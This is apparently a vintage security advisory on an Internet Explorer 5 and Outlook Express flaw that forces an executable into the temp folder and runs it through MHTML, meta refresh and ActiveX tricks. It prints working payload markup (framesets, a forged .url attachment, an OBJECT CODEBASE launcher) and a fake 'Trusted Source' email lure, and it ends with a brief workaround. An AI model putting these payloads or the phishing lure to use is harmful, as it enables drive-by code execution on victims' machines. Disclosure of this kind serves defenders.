COMMAND

    IE

SYSTEMS AFFECTED

    Interner Explorer 5

PROBLEM

    Microsoft  Internet  Explorer  5  and  accompanying  mail and news
    clients on win95, win98 and win2000 enjoy a unique status in  that
    they choose to  ignore user input.   Specifically, we are  able to
    manually  force  a  file  onto  the  target  computer  despite all
    prompts and warnings.

    A)
    1. How so?  We again create a very simple html frameset and  embed
    in base 64 our file:

        <frameset rows="10%,*">
        <frame src="mars.exe" >
        </frameset>

    What will happen?  We create  a simple html mail or news  file and
    send it  to the  target computer.   Upon receipt  and opening, the
    recipient will be prompted whether  they wish to 'save' or  'open'
    or  'cancel'  -  neither  of  these  work.   While  the  recipient
    contemplates  the  choices,  the  file  is  injected into the temp
    folder.  Selecting  any one of  the three choices  proves useless.
    The  file  is  still  delivered  to  the temp folder.  In addition
    setting  the  so-called  Security   Zone  settings  to:    DISABLE
    generates a different prompt  that is: "...your security  settings
    do not  allow file  downloads...[something to  this effect]"  with
    the only option being:  OK.  Again selecting this proves  useless.
    The file is still delivered to the temp folder.

    And?   We then  create a  second file  containing a  different new
    ActiveX control(CLSID:15589FA1-C456-11CE-BF01-00AA0055595A)  which
    allows  us  to  execute  files  locally.   We  embed  the   simple
    JavaScripting that runs this together with the ActiveX control  in
    base64 and embed that in a second html frame:

        <frameset rows="10%,*">
        <frame src="mars.exe" >
        <frame src="lunar.mhtml" >
        </frameset>

    We  again  apply  the  very  simple  HTTP-EQUIV  meta tag known as
    refresh.

        <meta http-equiv="refresh"content="5; url=mhtml:file://C:\WINDOWS\TEMP\lunar.mhtml">

    and repack once again in base64.

    Results being?   On the  following generic  and diluted  web-based
    working  example  the  link  is  clicked, the file mars.mhtml will
    deposit both  the *.exe  and second  *.mhtml files  into the temp.
    The client will be prompted as to either 'save' 'open' or 'cancel'
    regardless of  the choice  as soon  as the  prompt has been closed
    down, the  meta refresh  will bounce  to the  *.mhtml in the temp,
    open it  and execute  the JavaScript  and ActiveX  control and run
    the *.exe.

    Again, because we are working locally (from C:\WINDOWS\TEMP) none
    of the so-called Security Zone settings apply.

    Working example?   Note: to  be executed  off the  web.   Harmless
    *.exe incorporated. 5-second delay after clearing the prompt

        http://members.xoom.com/malware/mars.mhtml

    B)
    Can we do this from email?  Yes.  However, with greater likelihood
    of failure.   Consider the  following.   Create two  sets of  html
    messages:

    (a) one comprising the file to be delivered:

        <frameset rows="10%,*">
        <frame src="refresh.bat" >
        </frameset>

    Working example?  Note: to  be executed from mail client.   Simple
    *.bat containing @exit

        http://members.xoom.com/malware/refresh.eml

    (b) the second comprising a fraudulent, manufactured *.url:

        Content-Type: application/octet-stream;
        name="Microsoft TechNet Security.url"
        Content-Transfer-Encoding: 7bit
        Content-Disposition: attachment;
        filename="Microsoft TechNet Security.url"

        [DEFAULT]
        BASEURL=C:\WINDOWS\TEMP\refresh.bat
        [InternetShortcut]
        URL=C:\WINDOWS\TEMP\refresh.bat

    We include a fake link: <font color=blue  style="cursor:hand">....
    The  recipient  will  then  be  forced to entertain the fraudulent
    *.url.  Working example?  Note: to be executed from mail client.

        http://members.xoom.com/malware/secureme.eml

    Far fetched scenario?  Yes indeed.  Send the first mail message to
    the target computer  followed by the  second.  The  recipient will
    open the first mail message, be advised that a file is  attempting
    to download and what  would they like to  do: 'save' or 'open'  or
    'cancel' while this is  being contemplated, the file  is delivered
    to  the  temp  folder.   The  recipient  then continues with their
    morning activities  of reading  their email  and opens  the second
    mail message.   Certainly innocent  enough looking  and of  course
    Urgent and from a Trusted  Source™.  Through the false  link, they
    are  then  forced  open  the  attached  *.url  which points to the
    C:\WINDOWS\TEMP\ where the  delivered file waits.   This is  Win9x
    specific, and although you can generally count on NT 4.0 having  a
    c:\temp,  Win2k  has  per-user  temp directories, which complicate
    this  somewhat,  and  neither  c:\temp or c:\windows\temp normally
    exist.   Under Win2k  you DO  have a  %SystemRoot%\Temp folder (so
    usually that's C:\WINNT\Temp), and the system environment variable
    TEMP and TMP  are by default  set to that  directory.  This  is to
    prevent the  %SystemRoot% directory  from cluttering  up with temp
    files from services and other system processes (as in NT4).

    This scenario can be  incorporated into one single  self-contained
    mail message. However the likelihood of the recipient after noting
    an  attempted  file  download  warning  and  then  continuing with
    opening the *.url would (or should) be even slimmer.  However, you
    never know.

    Notes:
    1. Tested  on default  installs of  win95, win98  and win2000  and
       IE5.0 and IE5.1 with accompanying  mail and news clients.   All
       up-to-date with  security patches  and all  with the  so-called
       Security Zone set to: DISABLE where possible.

    2. The Outlook  Patch should effectively  contain or disallow  the
       *.url attachment.  There is a workaround for that.

    3. The  files  are  still  delivered  to the default temp  folder.
       Relocate the default temp folder.

    Weld Pond regarding the mars  exploit demo at URL mentioned  above
    added following.   There seems to  be two seperate  problems being
    exploited here for the desired effect of downloading and executing
    code.  You can get any local .exe to execute in IE by refering  to
    it  in  the  CODEBASE  parameter  of  an  ActiveX object tag.  The
    CLASSID can be anything  but all zeros.   Here is a code  snippet,
    courtesy  of  Dildog,  which  will  execute  calc.exe  if it is in
    c:\windows\system32\

        <HTML>
        <HEAD>
        </HEAD>
        <BODY>
        <OBJECT CLASSID='CLSID:10000000-0000-0000-0000-000000000000' CODEBASE='c:\windows\system32\calc.exe'></OBJECT>
        </BODY></HTML>

    The other problem is the  fact that .exe files can  get downloaded
    to  your  local  system  without  you  being  able  to  cancel the
    operation.  Weld tested the  malware exploit on win98 with  medium
    security settings (the  default) and it  worked as promised.   But
    what was  far worse  was it  worked at  the high  security setting
    also.   A warning  message came  up saying  "Due to  your security
    settings you  cannot download  that file."   You press  OK and the
    file is  downloaded anyway.   Then it  executes when  used as  the
    codebase of an ActiveX control.

    The demo  exploit won't  work in  W2K because  the temp  directory
    where  the   .exe  is   downloaded  to   is    "c:\documents   and
    settings\'username'\local settings\temp".   If it  is possible  to
    get the  username through  JavaScript and  another ActiveX control
    it could possibly be made to work there also.

SOLUTION

    One work-around for this that I have long advocated is making  the
    temporary internet folders and the temp folders non-executable.